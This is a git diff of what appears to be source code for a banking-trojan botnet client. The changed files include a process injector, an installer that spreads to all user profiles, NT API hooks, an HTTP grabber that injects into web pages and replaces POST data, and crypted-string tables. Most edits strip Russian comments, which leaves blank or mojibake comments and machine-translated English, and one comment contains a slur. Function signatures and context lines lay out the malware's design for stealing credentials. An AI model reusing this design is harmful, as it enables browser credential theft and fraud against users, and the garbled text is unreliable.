базовой конфигурации. + . OUT bc - BASECONFIG. */ void getBaseConfig(BASECONFIG *bc); /* - Получение PESETTINGS. + PESETTINGS. OUT ps - PESETTINGS. */ void getPeSettings(PESETTINGS *ps); /* - Получает полный путь для пути записанном в PESETTINGS. + PESETTINGS. - IN type - тип PSP_*. - OUT path - путь. + IN type - PSP_*. + OUT path - . */ void getPeSettingsPath(DWORD type, LPWSTR path); /* - Загрузка получение данных реестра для BDR_*. + BDR_*. - IN type - тип занчения RV_*. - OUT key - ключ реестра. Размер буфера CORE_REGISTRY_KEY_BUFFER_SIZE. - OUT value - значение реестра. Размер буфера CORE_REGISTRY_VALUE_BUFFER_SIZE. + IN type - RV_*. + OUT key - . CORE_REGISTRY_KEY_BUFFER_SIZE. + OUT value - . CORE_REGISTRY_VALUE_BUFFER_SIZE. */ void getRegistryValue(DWORD type, LPWSTR key, LPWSTR value); /* - Получение имени текущего ботнета. + . - OUT name - буффер. + OUT name - . */ void getCurrentBotnetName(LPWSTR name); /* - Получение данных из оверлея. + . - IN image - память. - IN OUT overlaySize - на входе - размер памяти, на выходе размер данных оверлея. + IN image - . + IN OUT overlaySize - - , . - Return - оверлей, нужно освободить через Mem. Или NULL - в случаи ошибки. + Return - , Mem. NULL - . */ void *getBaseOverlay(const void *mem, LPDWORD size); /* - Сохранение данных в оверлей. + . - IN image - память. - IN size - размер памяти. - IN data - оверлей. - IN dataSize - размер оверлея. + IN image - . + IN size - . + IN data - . + IN dataSize - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool setBaseOverlay(void *mem, DWORD size, const void *data, DWORD dataSize); /* - Ожидание запуска серисов ядра в текщем процессе. + . - IN waitStop - true - ожидать завершения всех потоков сервисов, - false - выйти из функции сразу после создания сервисов. + IN waitStop - true - , + false - . */ void createServices(bool waitStop); /* - Уничтожение текущего юзера. + . */ bool destroyUser(void); /* - Вывод информации о сборке бота. + . IN type - SIB_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool showInfoBox(BYTE type); /* - Точка входя инжекта в качестве точки входа модуля. + . - Return - код возврата. + Return - . */ int WINAPI _injectEntryForModuleEntry(void); /* - Точка входя инжекта в качестве точки входа потока. + . - Return - код возврата. + Return - . */ DWORD WINAPI _injectEntryForThreadEntry(void *); - /*В В В В The main entry point. -В В */ + /*    The main entry point. +  */ void WINAPI _entryPoint(void); }; diff --git a/source/client/corecontrol.h b/source/client/corecontrol.h index 4627f95..cf669d6 100644 --- a/source/client/corecontrol.h +++ b/source/client/corecontrol.h @@ -1,5 +1,5 @@ /* - Сервси контроля цельности бота. + . */ #pragma once @@ -8,29 +8,29 @@ namespace CoreControl { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Создание потоков. + . - IN OUT group - группа потокок, к которой будут принадлежать потоки сервиса. + IN OUT group - , . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _create(ThreadsGroup::GROUP *group); - /*В В В В Clear all values ​​from the system created by the bot to auto. -В В В В  -В В В В Return - true - if successful, -В В В В В В В В В В В В В false - if an error occurs. -В В */ + /*    Clear all values ​​from the system created by the bot to auto. +     +    Return - true - if successful, +             false - if an error occurs. +  */ bool _removeAutorun(void); }; diff --git a/source/client/corehook.cpp b/source/client/corehook.cpp index 78ed9e8..14f12f9 100644 --- a/source/client/corehook.cpp +++ b/source/client/corehook.cpp @@ -60,7 +60,7 @@ void CoreHook::disableFileHookerForCurrentThread(bool disable) } /* - Получение текущих флагов для дочерного потока, и его сброс. + , . Return - Core::CDPF_*. */ @@ -310,7 +310,7 @@ NTSTATUS NTAPI CoreHook::hookerNtCreateFile(PHANDLE fileHandle, ACCESS_MASK desi (createOptions & (FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT | FILE_DELETE_ON_CLOSE | FILE_OPEN_BY_FILE_ID)) == 0 && //Other bad signs. objectAttributes != NULL && objectAttributes->Length >= sizeof(OBJECT_ATTRIBUTES) && objectAttributes->ObjectName != NULL && - objectAttributes->ObjectName->Buffer != NULL && objectAttributes->ObjectName->Length > 4 * sizeof(WCHAR) && (objectAttributes->ObjectName->Length % sizeof(WCHAR)) == 0 && /*параноя*/ + objectAttributes->ObjectName->Buffer != NULL && objectAttributes->ObjectName->Length > 4 * sizeof(WCHAR) && (objectAttributes->ObjectName->Length % sizeof(WCHAR)) == 0 && /**/ ntCreateFileTlsIndex != TLS_OUT_OF_INDEXES && CWA(kernel32, TlsGetValue)(ntCreateFileTlsIndex) == (void *)0 && //Protection from rekrussii. diff --git a/source/client/corehook.h b/source/client/corehook.h index badeeff..d9ee330 100644 --- a/source/client/corehook.h +++ b/source/client/corehook.h @@ -1,5 +1,5 @@ /* - Хуки ядра. + . */ #pragma once @@ -8,31 +8,31 @@ namespace CoreHook { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Отключить перехватчик откртия файла для текущего потока. + . - IN disable - true - отключить, false - включить. + IN disable - true - , false - . */ void disableFileHookerForCurrentThread(bool disable); /* - Установка флагов Core::CDPF_* для создания дочерного процесса из текущего потока. Флаг - сбрасывается в случаи успешного создания процесса. + Core::CDPF_* . + . - IN processFlags - Core::CDPF_*. Флаги по маске Core::CDPT_INHERITABLE_MASK всеравно будут - унаследованы. + IN processFlags - Core::CDPF_*. Core::CDPT_INHERITABLE_MASK + . - Return - true - в сулчаи успеха, - false - в случаи провала. + Return - true - , + false - . */ #if defined HOOKER_SETCHILDPROCESSFLAGS bool setChildProcessFlags(DWORD processFlags); @@ -40,44 +40,44 @@ namespace CoreHook #if(BO_NSPR4 > 0) /* - Функцция для утсановки метки, что nspr4 успешно перехвачен и не нужно его отслеживать в + , nspr4 hookerLdrLoadDll. */ void __forceinline markNspr4AsHooked(void); #endif /* - Перехватчик NtCreateThread. + NtCreateThread. */ NTSTATUS NTAPI hookerNtCreateThread(PHANDLE threadHandle, ACCESS_MASK desiredAccess, POBJECT_ATTRIBUTES objectAttributes, HANDLE processHandle, PCLIENT_ID clientId, PCONTEXT threadContext, PINITIAL_TEB initialTeb, BOOLEAN createSuspended); /* - Перехватчик NtCreateUserProcess. + NtCreateUserProcess. */ NTSTATUS NTAPI hookerNtCreateUserProcess(PHANDLE processHandle, PHANDLE threadHandle, ACCESS_MASK processDesiredAccess, ACCESS_MASK threadDesiredAccess, POBJECT_ATTRIBUTES processObjectAttributes, POBJECT_ATTRIBUTES threadObjectAttributes, ULONG createProcessFlags, ULONG createThreadFlags, PVOID processParameters, PVOID parameter9, PVOID attributeList); /* - Перехватчик LdrLoadDll. + LdrLoadDll. */ #if defined(HOOKER_LDRLOADDLL) NTSTATUS NTAPI hookerLdrLoadDll(PWCHAR pathToFile, ULONG flags, PUNICODE_STRING moduleFileName, PHANDLE moduleHandle); #endif /* - Перехватчик NtQueryDirectoryFile. + NtQueryDirectoryFile. */ #if(0) NTSTATUS NTAPI hookerNtQueryDirectoryFile(HANDLE fileHandle, HANDLE eventHandle, PIO_APC_ROUTINE apcRoutine, PVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, PVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); #endif /* - Перехватчик NtCreateFile. + NtCreateFile. */ #if defined(HOOKER_NTCREATEFILE) NTSTATUS NTAPI hookerNtCreateFile(PHANDLE fileHandle, ACCESS_MASK desiredAccess, POBJECT_ATTRIBUTES objectAttributes, PIO_STATUS_BLOCK ioStatusBlock, PLARGE_INTEGER allocationSize, ULONG fileAttributes, ULONG shareAccess, ULONG createDisposition, ULONG createOptions, PVOID eaBuffer, ULONG eaLength); #endif - /*В В В В Interceptor GetFileAttributesExW -В В */ + /*    Interceptor GetFileAttributesExW +  */ BOOL WINAPI hookerGetFileAttributesExW(LPCWSTR fileName, GET_FILEEX_INFO_LEVELS infoLevelId, LPVOID fileInformation); }; diff --git a/source/client/coreinject.cpp b/source/client/coreinject.cpp index 94ce23f..45bd91c 100644 --- a/source/client/coreinject.cpp +++ b/source/client/coreinject.cpp @@ -10,21 +10,21 @@ #include "..\common\process.h" /* - Перменная в которую билдер сохзраняет базоовые данные для бота. - Данная переменная должны находиться в произволбном cpp-файле, для обеспечения рандомизации ее - адреса. + . + cpp-, + . */ extern const char baseConfigSource[sizeof(BASECONFIG)] = {'B', 'A', 'S', 'E', 'C', 'O', 'N', 'F', 'I', 'G'}; -/*В В Inject code in a particular process. +/*  Inject code in a particular process. -В В IN pid - ID of the process. -В В IN processMutex - myuteks process. -В В IN proccessFlags - data for the new coreData.proccessFlags, tekschie data inherited by the mask -В В В В В В В В В В В В В В В В В В В В В Core:: CDPT_INHERITABLE_MASK. +  IN pid - ID of the process. +  IN processMutex - myuteks process. +  IN proccessFlags - data for the new coreData.proccessFlags, tekschie data inherited by the mask +                     Core:: CDPT_INHERITABLE_MASK. -В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В В В false - if an error occurs.*/ +  Return - true - if successful, +                     false - if an error occurs.*/ static bool injectMalwareToProcess(DWORD pid, HANDLE processMutex, DWORD proccessFlags) { bool ok = false; diff --git a/source/client/coreinject.h b/source/client/coreinject.h index 37ed801..accc252 100644 --- a/source/client/coreinject.h +++ b/source/client/coreinject.h @@ -1,24 +1,24 @@ /* - Инжектор бота в процессы. + . */ #pragma once namespace CoreInject { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); - /*В В В В Inject code into all processes of the current session by the current user. + /*    Inject code into all processes of the current session by the current user. -В В В В Return - true - if there was inject At least in one process -В В В В В В В В В В В В В false - unless one injection produce is not produced. -В В */ +    Return - true - if there was inject At least in one process +             false - unless one injection produce is not produced. +  */ bool _injectToAll(void); }; diff --git a/source/client/coreinstall.cpp b/source/client/coreinstall.cpp index 4091891..a809234 100644 --- a/source/client/coreinstall.cpp +++ b/source/client/coreinstall.cpp @@ -25,7 +25,7 @@ #include "..\common\registry.h" //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Settings +// Settings //////////////////////////////////////////////////// //////////////////////////////////////////////// //Reserve sekudny to generate temporary file. @@ -34,16 +34,16 @@ //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Генерация базового файла. + . - IN path - путь, где будет генерироваться файл. Путь должен сущестовать. - OUT name - полное имя файла. Реально имя генерируемого файла до 20(4 + 6 + 1 + 5) - символов. - IN extension - расширение файла, NULL для автогенерации. - IN lowAccess - включить доступ для Low Integrity приложений. + IN path - , . . + OUT name - . 20(4 + 6 + 1 + 5) + . + IN extension - , NULL . + IN lowAccess - Low Integrity . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool generateBasicFile(LPWSTR path, LPWSTR name, LPWSTR extension, bool lowAccess) { @@ -102,12 +102,12 @@ static bool generateBasicFile(LPWSTR path, LPWSTR name, LPWSTR extension, bool l } /* - Получение Raw-адреса функции. + Raw- . - IN ppe - образ. - IN pData - данные в текущем образе. + IN ppe - . + IN pData - . - Return - адрес данных в ppe, или NULL в случаи ошибки. + Return - ppe, NULL . */ static void *getRawOfData(PeImage::PEDATA *pe, void *data) { @@ -121,15 +121,15 @@ static void *getRawOfData(PeImage::PEDATA *pe, void *data) } /* - Запись в файл. + . - IN data - данные. - IN dataSize - размер данных. - IN fileName - файл. - IN infinite - пытаться записать файл бесконечно. + IN data - . + IN dataSize - . + IN fileName - . + IN infinite - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool saveFile(const void *data, DWORD dataSize, LPWSTR fileName, bool infinite) { @@ -153,14 +153,14 @@ static bool saveFile(const void *data, DWORD dataSize, LPWSTR fileName, bool inf } /* - Сохранение образа в PE-файл. + PE-. - IN pes - настроки PE. Если NULL, происходит просто копирование текущего образа с оверлеем. - IN fileName - имя файла. - IN infinite - пытаться записать файл бесконечно. + IN pes - PE. NULL, . + IN fileName - . + IN infinite - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool savePeFile(const PESETTINGS *pes, const LPWSTR fileName, bool infinite) { @@ -198,13 +198,13 @@ static bool savePeFile(const PESETTINGS *pes, const LPWSTR fileName, bool infini } /* - Функция для остановки сервисных потоков бота. + . - IN wait - TRUE - ожидать завершения сервисов, - FALSE - не ожидать заверешния сервисов. + IN wait - TRUE - , + FALSE - . - Return - TRUE - в случаи успеха, - FALSE - в случаи ошибки. + Return - TRUE - , + FALSE - . */ static BOOL WINAPI stopServices(void *reserved) { @@ -224,12 +224,12 @@ typedef void (WINAPI *WTSFREEMEMORY)(PVOID memory); typedef BOOL (WINAPI *WTSQUERYUSERTOKEN)(ULONG sessionId, PHANDLE token); /* - Создание процесса в определенной сессии. + . IN queryUserToken - WTSQueryUserToken. - IN sessionId - сессия. - IN sid - если SID сессии не равен этому SID'у, процесс не создается. - IN fileName - файл для запуска. + IN sessionId - . + IN sid - SID SID', . + IN fileName - . */ static void createProcessForSession(WTSQUERYUSERTOKEN queryUserToken, DWORD sessionId, PSID sid, const LPWSTR fileName) { @@ -258,10 +258,10 @@ static void createProcessForSession(WTSQUERYUSERTOKEN queryUserToken, DWORD sess } /* - Поиск активных сессий пользователя, и запуск из под них процессов. + , . - IN sid - SID пользоваетеля. - IN fileName - файл для запуска. + IN sid - SID . + IN fileName - . */ static void tryToRunForActiveSessions(PSID sid, const LPWSTR fileName) { @@ -637,10 +637,10 @@ bool CoreInstall::_installToAll(void) do { - /*В В В В В В Blunt, blunted idusy from MS, do not realize that they are blunt blunt. The fact that in the MSDN -В В В В В В written that NetUserEnum can work with levels 4, 23, and in practice we have -В В В В В В great Hindu PRICK! -В В В В */ + /*      Blunt, blunted idusy from MS, do not realize that they are blunt blunt. The fact that in the MSDN +      written that NetUserEnum can work with levels 4, 23, and in practice we have +      great Hindu PRICK! +    */ DWORD readed; DWORD total; diff --git a/source/client/coreinstall.h b/source/client/coreinstall.h index d18dc62..773c13a 100644 --- a/source/client/coreinstall.h +++ b/source/client/coreinstall.h @@ -1,5 +1,5 @@ /* - Инсталятор бота. + . */ #pragma once @@ -8,76 +8,76 @@ namespace CoreInstall { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Установка бота в систему. + . - IN pathHome - домашняя директория. Не должна кончаться на слеш. - OUT coreFile - имя нвого установленого файла. + IN pathHome - . . + OUT coreFile - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . - После выполенния функция самостоятельно заполнит coreData.peSettings. + coreData.peSettings. */ bool _install(const LPWSTR pathHome, LPWSTR coreFile); /* - Загружкает данные созданные инсталлятором, в настоящее время заполняет и проверяет coreData.peSettings. + , coreData.peSettings. - IN ovelay - оверлей с данными. - IN overlaySize - размер оверлея. + IN ovelay - . + IN overlaySize - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _loadInstalledData(const void *overlay, DWORD overlaySize); /* - Запуск обналвения. + . - IN bs - данные о сущевтующем боте. - IN pathHome - домашняя директория. Не должна кончаться на слеш. - OUT coreFile - имя нового установленого файла. - IN force - форсировать обновления, не завимо от версий. + IN bs - . + IN pathHome - . . + OUT coreFile - . + IN force - , . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . - После выполенния функция самостоятельно заполнит coreData.peSettings. + coreData.peSettings. */ bool _update(BotStatus::VER1 *bs, const LPWSTR pathHome, LPWSTR coreFile, bool force); /* - Заполенние буфера, данными необходимыми для обновления этого бота. + , . - OUT bs - буфер. + OUT bs - . */ void _loadUpdateData(BotStatus::VER1 *bs); /* - Установка бота во все сущетвющие профили. + . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _installToAll(void); - /*В В В В Removing a bot from the current profile. -В В В В  -В В В В IN wait - true - expect to complete the services -В В В В В В В В В В В В В В false - do not expect zavereshniya services. -В В В В  -В В В В Return - true - if successful, -В В В В В В В В В В В В В В false - if an error occurs. -В В */ + /*    Removing a bot from the current profile. +     +    IN wait - true - expect to complete the services +              false - do not expect zavereshniya services. +     +    Return - true - if successful, +              false - if an error occurs. +  */ bool _uninstall(bool wait); }; diff --git a/source/client/cryptedstrings.h b/source/client/cryptedstrings.h index 2aaded8..fb359d8 100644 --- a/source/client/cryptedstrings.h +++ b/source/client/cryptedstrings.h @@ -1,5 +1,5 @@ /* - Работа с кодироваными строками, этот файл частично генерируется при сборке. + , . */ #pragma once @@ -549,27 +549,27 @@ namespace CryptedStrings }; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение строки как ANSI. + ANSI. IN id - id_*. - OUT buffer - буффер. + OUT buffer - . */ void _getA(WORD id, LPSTR buffer); - /*В В В В Getting the string as Unicode. + /*    Getting the string as Unicode. -В В В В IN id - id_ *. -В В В В OUT buffer - buffer. -В В */ +    IN id - id_ *. +    OUT buffer - buffer. +  */ void _getW(WORD id, LPWSTR buffer); }; diff --git a/source/client/cryptedstrings.txt b/source/client/cryptedstrings.txt index e50dac4..3055ab7 100644 --- a/source/client/cryptedstrings.txt +++ b/source/client/cryptedstrings.txt @@ -48,7 +48,7 @@ sockethook_user_anonymous "anonymous" //////////////////////////////////////////////////////////////////////////////////////////////////// -// wininethook.cpp. FIXME: названия переменных +// wininethook.cpp. FIXME: //////////////////////////////////////////////////////////////////////////////////////////////////// #if(BO_WININET > 0) regpath_ie_startpage "Software\\Microsoft\\Internet Explorer\\Main" @@ -273,7 +273,7 @@ remotescript_command_user_emailclients_get "user_emailclients_get" remotescript_command_user_flashplayer_get "user_flashplayer_get" remotescript_command_user_flashplayer_remove "user_flashplayer_remove" -//Ошибки. +//. remotescript_error_not_enough_memory "Not enough memory." remotescript_error_already_executed "Script already executed." remotescript_error_failed_to_load "Failed to load local configuration." @@ -312,7 +312,7 @@ core_botid_format_error "fatal_error" core_botid_unknown "unknown" //////////////////////////////////////////////////////////////////////////////////////////////////// -// Модули и их функции. +// . //////////////////////////////////////////////////////////////////////////////////////////////////// module_wtsapi32 "wtsapi32.dll" wtsapi32_enumeratesessions "WTSEnumerateSessionsW" diff --git a/source/client/dynamicconfig.cpp b/source/client/dynamicconfig.cpp index 8d22da9..6c9f1cf 100644 --- a/source/client/dynamicconfig.cpp +++ b/source/client/dynamicconfig.cpp @@ -67,12 +67,12 @@ BinStorage::STORAGE *DynamicConfig::getCurrent(void) } /* - Загрузка обвнолвения бота, используя данные из текущей конфигурации. + , . IN force - Force update bot nezavisimvo on the version. - Return - true - обновление успешно запущено, - false - произошла ошибка. + Return - true - , + false - . */ static bool tryToUpdateBot(bool force) { @@ -127,14 +127,14 @@ enum UCF_FORCEUPDATE = 0x1, //Force update bot nezavisimvo on the version. }; -/*В В Obnovolenie kontsiguratsii and bot. +/*  Obnovolenie kontsiguratsii and bot. -В В IN baseConfig - basic configuration. -В В IN OUT md - config from the server. . -В В IN flags - UCF_ *. +  IN baseConfig - basic configuration. +  IN OUT md - config from the server. . +  IN flags - UCF_ *. -В В Return - true - config successfully orbnovlen, -В В В В В В В В В В В В В В В В В В false - do not udalosb obnvoit config.*/ +  Return - true - config successfully orbnovlen, +                  false - do not udalosb obnvoit config.*/ static bool updateConfig(BASECONFIG *baseConfig, MEMDATA *md, DWORD flags) { bool retVal = false; diff --git a/source/client/dynamicconfig.h b/source/client/dynamicconfig.h index 5c53e6d..08630e2 100644 --- a/source/client/dynamicconfig.h +++ b/source/client/dynamicconfig.h @@ -1,5 +1,5 @@ /* - Работа с DynamicConfig. + DynamicConfig. */ #pragma once @@ -9,37 +9,37 @@ namespace DynamicConfig { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Загрузка текущей конфигурации в память процесса. + . - Return - указатель на конфиг(необходимо освободить через Mem), или NULL в случаи ошибки. + Return - ( Mem), NULL . */ BinStorage::STORAGE *getCurrent(void); /* - Загрузка и применение конфигураци. + . - IN url - URL конфигурации, или NULL для загрузки изветных URL. - Return - true - если успешно загржена, - false - в случаи ошибки. + IN url - URL , NULL URL. + Return - true - , + false - . */ bool download(LPSTR url); - /*В В В В Thread creation. + /*    Thread creation. -В В В В IN OUT group - the group potokok to which will belong to the flow of service. -В В В В  -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    IN OUT group - the group potokok to which will belong to the flow of service. +     +    Return - true - if successful, +                   false - if an error occurs. +  */ bool create(ThreadsGroup::GROUP *group); }; diff --git a/source/client/filesearch.cpp b/source/client/filesearch.cpp index 709b9c2..874679a 100644 --- a/source/client/filesearch.cpp +++ b/source/client/filesearch.cpp @@ -49,7 +49,7 @@ static bool ListDir(LPWSTR pDir, LOADERSPYDATA *plsd) { WCHAR Path[MAX_PATH]; Fs::_pathCombine(Path, pDir, L"*"); - Path[MAX_PATH - 1] = 0; //pС—Р…pС—Р… pС—Р…pС—Р…pС—Р…pС—Р…pС—Р…pС—Р… pС—Р…pС—Р…pС—Р…pС—Р…pС—Р…pС—Р… + Path[MAX_PATH - 1] = 0; //pїЅpїЅ pїЅpїЅpїЅpїЅpїЅpїЅ pїЅpїЅpїЅpїЅpїЅpїЅ WIN32_FIND_DATAW wfd; HANDLE hS = CWA(kernel32, FindFirstFileW)(Path, &wfd); if(hS == INVALID_HANDLE_VALUE)return false; @@ -98,7 +98,7 @@ static void WINAPI FSProc(LOADERSPYDATA *plsd) { DWORD dwTmp; - //pС—Р…pС—Р…pС—Р…pС—Р… pС—Р…pС—Р…pС—Р…pС—Р…pС—Р…pС—Р…pС—Р… + //pїЅpїЅpїЅpїЅ pїЅpїЅpїЅpїЅpїЅpїЅpїЅ //CWA (kernel32, EnterCriticalSection) (& csfs); //dwTmp = dwQuestsCount; //CWA (kernel32, LeaveCriticalSection) (& csfs); @@ -106,7 +106,7 @@ static void WINAPI FSProc(LOADERSPYDATA *plsd) WCHAR Path[8]; DWORD dwDrives = CWA(kernel32, GetLogicalDrives)(); - for(BYTE i = 2/*пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ fdd* /; i < 32; i++)if(dwDrives & (1 << i)) + for(BYTE i = 2/*���������� fdd* /; i < 32; i++)if(dwDrives & (1 << i)) { Path[0] = i + 'A'; Path[1] = ':'; diff --git a/source/client/filesearch.h b/source/client/filesearch.h index 8bc85ac..37f1f96 100644 --- a/source/client/filesearch.h +++ b/source/client/filesearch.h @@ -1,5 +1,5 @@ /* - Поиск файлов. + . */ #pragma once /*namespace FileSearch diff --git a/source/client/httpgrabber.cpp b/source/client/httpgrabber.cpp index 74c0d1d..9c79cbd 100644 --- a/source/client/httpgrabber.cpp +++ b/source/client/httpgrabber.cpp @@ -269,12 +269,12 @@ bool HttpGrabber::_isUrlInList(DWORD listId, const BinStorage::STORAGE *localCon } /* - Проверка запроса на необходимость инждекта. + . - IN OUT requestData - запрос. + IN OUT requestData - . - Return - true - инжекты применины, - false - инжекты не применены + Return - true - , + false - */ static bool checkRequestForInject(HttpGrabber::REQUESTDATA *requestData) { @@ -427,12 +427,12 @@ SKIP_ITEM:; } /* - Замена POST-данных "application/x-www-form-urlencoded". + POST- "application/x-www-form-urlencoded". - IN OUT requestData - запрос. + IN OUT requestData - . - Return - true - данные заменены, - false - данные не заменены. + Return - true - , + false - . */ static bool replacePostData(HttpGrabber::REQUESTDATA *requestData) { @@ -543,7 +543,7 @@ DWORD HttpGrabber::analizeRequestData(REQUESTDATA *requestData) #endif DWORD retVal = 0; - signed char writeReport = -1;/*-1 - по умолчанию, 0 - не писать, 1 - принудительно писать*/; + signed char writeReport = -1;/*-1 - , 0 - , 1 - */; //Check for blockage. CWA(kernel32, EnterCriticalSection)(&blockInjectInfo.cs); @@ -1054,13 +1054,13 @@ typedef struct HINTERNET fakeRequest; }FAKECONNECT; -/*В В Create a query to the fake-URL. +/*  Create a query to the fake-URL. -В В IN requestData - request data. -В В IN faketUrl - fake-URL. -В В IN verb - GET / POST. +  IN requestData - request data. +  IN faketUrl - fake-URL. +  IN verb - GET / POST. -В В Return - the handle to the query, NULL - otherwise.*/ +  Return - the handle to the query, NULL - otherwise.*/ static DWORD WINAPI fakeConnectProc(void *p) { CoreHook::disableFileHookerForCurrentThread(true); diff --git a/source/client/httpgrabber.h b/source/client/httpgrabber.h index 7e87581..41b1ab9 100644 --- a/source/client/httpgrabber.h +++ b/source/client/httpgrabber.h @@ -1,5 +1,5 @@ /* - Общии функции для граббинга HTTP. + HTTP. */ #pragma once @@ -46,36 +46,36 @@ namespace HttpGrabber typedef struct { /* - Флаги. + . */ DWORD flags; /* - IN Некий хэндл запроса (зависит от перехватываемой библиотеки). + IN ( ). */ void *handle; /* - IN URL. Выделяется через Mem. + IN URL. Mem. - Освобождается через _freeRequestData(). + _freeRequestData(). */ LPSTR url; /* - IN Кол. байт в URL, исключая нулевеой байт. + IN . URL, . */ DWORD urlSize; /* - IN Реферер. + IN . - Освобождается через _freeRequestData(). + _freeRequestData(). */ LPSTR referer; /* - IN Кол. байт в реферерере, исключая нулевеой байт. + IN . , . */ DWORD refererSize; @@ -85,31 +85,31 @@ namespace HttpGrabber BYTE verb; /* - IN Тип контента, т.е. тип POST-данных. + IN , .. POST-. - Освобождается через _freeRequestData(). + _freeRequestData(). */ LPSTR contentType; /* - IN Размер contentTypeSize. + IN contentTypeSize. */ DWORD contentTypeSize; /* - IN OUT POST-данные (могут не кончатсья на 0). Если возращен флаг - ANALIZEFLAG_POSTDATA_REPLACED,данные будут подменены на новые данные, которые нужно - освободить через Mem после отправки запроса. + IN OUT POST- ( 0). + ANALIZEFLAG_POSTDATA_REPLACED, , + Mem . */ void *postData; /* - IN OUT Размер postData. Значение не должно превыщать MAX_POSTDATA_SIZE. + IN OUT postData. MAX_POSTDATA_SIZE. */ DWORD postDataSize; /* - IN Данные HTTP-авторизации. + IN HTTP-. */ struct { @@ -119,30 +119,30 @@ namespace HttpGrabber }authorizationData; /* - OUT Список инжектов, актуально только при ANALIZEFLAG_URL_INJECT. + OUT , ANALIZEFLAG_URL_INJECT. - Освобождается через _freeInjectFullDataList(). + _freeInjectFullDataList(). */ INJECTFULLDATA *injects; /* - OUT Размер массива injectData. + OUT injectData. */ DWORD injectsCount; /* - IN Текущая конфигурация. NULL, если не сущетвует. Данная конфигурация доступна только для - чтения. + IN . NULL, . + . - Освобождается через _freeRequestData(). + _freeRequestData(). */ BinStorage::STORAGE *dynamicConfig; /* - IN Текущая локальная конфигурация. NULL, если не сущетвует. Данная конфигурация доступна - только для чтения. + IN . NULL, . + . - Освобождается через _freeRequestData(). + _freeRequestData(). */ BinStorage::STORAGE *localConfig; }REQUESTDATA; @@ -156,7 +156,7 @@ namespace HttpGrabber ANALIZEFLAG_URL_INJECT = 0x02, //Action. The data on inzheyt / fake. - ANALIZEFLAG_POSTDATA_REPLACED = 0x04, //Действие. Новые POST-данные сохранены РІ REQUESTDATA.postData. + ANALIZEFLAG_POSTDATA_REPLACED = 0x04, //Действие. Новые POST-данные сохранены в REQUESTDATA.postData. ANALIZEFLAG_SAVED_REPORT = 0x08, //Information. Query is stored in the report. @@ -167,184 +167,184 @@ namespace HttpGrabber }; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Геренация пути для фейка используя часть ориганльноой URL на основе ее маски (крутое предложение да? ;)) + URL ( ? ;)) - IN fakeUrl - фейковая URL, которой будет доабвлена часть из originalUrl. - IN originalUrl - оригинальная URL, которая совпала с маской urlMask. - IN urlMask - urlMask маска URL, в которой обязательно должен присутвовать символ '/'. + IN fakeUrl - URL, originalUrl. + IN originalUrl - URL, urlMask. + IN urlMask - urlMask URL, '/'. - Return - полный URL фейка (нужно удалить через Mem), - NULL - в случаи ошибки. + Return - URL ( Mem), + NULL - . */ LPSTR _genarateMirrorFakeUrlA(const LPSTR fakeUrl, const LPSTR originalUrl, const LPSTR urlMask); /* - Надстройка над Str::matchA() для URL. + Str::matchA() URL. - IN mask - маска. + IN mask - . IN url - URL. - IN urlSize - размер URL. - IN advFlags - дополнительные флаги Str::MATCH_*. + IN urlSize - URL. + IN advFlags - Str::MATCH_*. - Return - true - совпадение найдено, - false - совпадение не найдено. + Return - true - , + false - . */ bool _matchUrlA(const LPSTR mask, const LPSTR url, DWORD urlSize, DWORD advFlags); /* - Надстройка над Str::matchA() для POST-данных. + Str::matchA() POST-. - IN mask - маска. - IN postData - POST-данные. - IN postDataSize - размер POST-данных. + IN mask - . + IN postData - POST-. + IN postDataSize - POST-. - Return - true - совпадение найдено, - false - совпадение не найдено. + Return - true - , + false - . */ bool _matchPostDataA(const LPSTR mask, const LPSTR postData, DWORD postDataSize); /* - Надстройка над Str::matchA() для текстового содержимого. + Str::matchA() . - IN mask - маска. - IN context - содержимое. - IN contextSize - размер содержимого. - IN advFlags - дополнительные флаги Str::MATCH_*. + IN mask - . + IN context - . + IN contextSize - . + IN advFlags - Str::MATCH_*. - Return - true - совпадение найдено, - false - совпадение не найдено. + Return - true - , + false - . */ bool _matchContextA(const LPSTR mask, const void *context, DWORD contextSize, DWORD advFlags); /* - Надстройка над Str::matchA() для текстового содержимого. - - IN mask - маска. - IN maskSize - размер маски. - IN context - содержимое. - IN contextSize - размер содержимого. - OUT offsetBegin - оффсет начала действия маски в context. Может быть NULL. - OUT offsetEnd - оффсет конца действия маски в context. Может быть NULL. - IN advFlags - дополнительные флаги Str::MATCH_*. - - Return - true - совпадение найдено, - false - совпадение не найдено. + Str::matchA() . + + IN mask - . + IN maskSize - . + IN context - . + IN contextSize - . + OUT offsetBegin - context. NULL. + OUT offsetEnd - context. NULL. + IN advFlags - Str::MATCH_*. + + Return - true - , + false - . */ bool _matchContextExA(const void 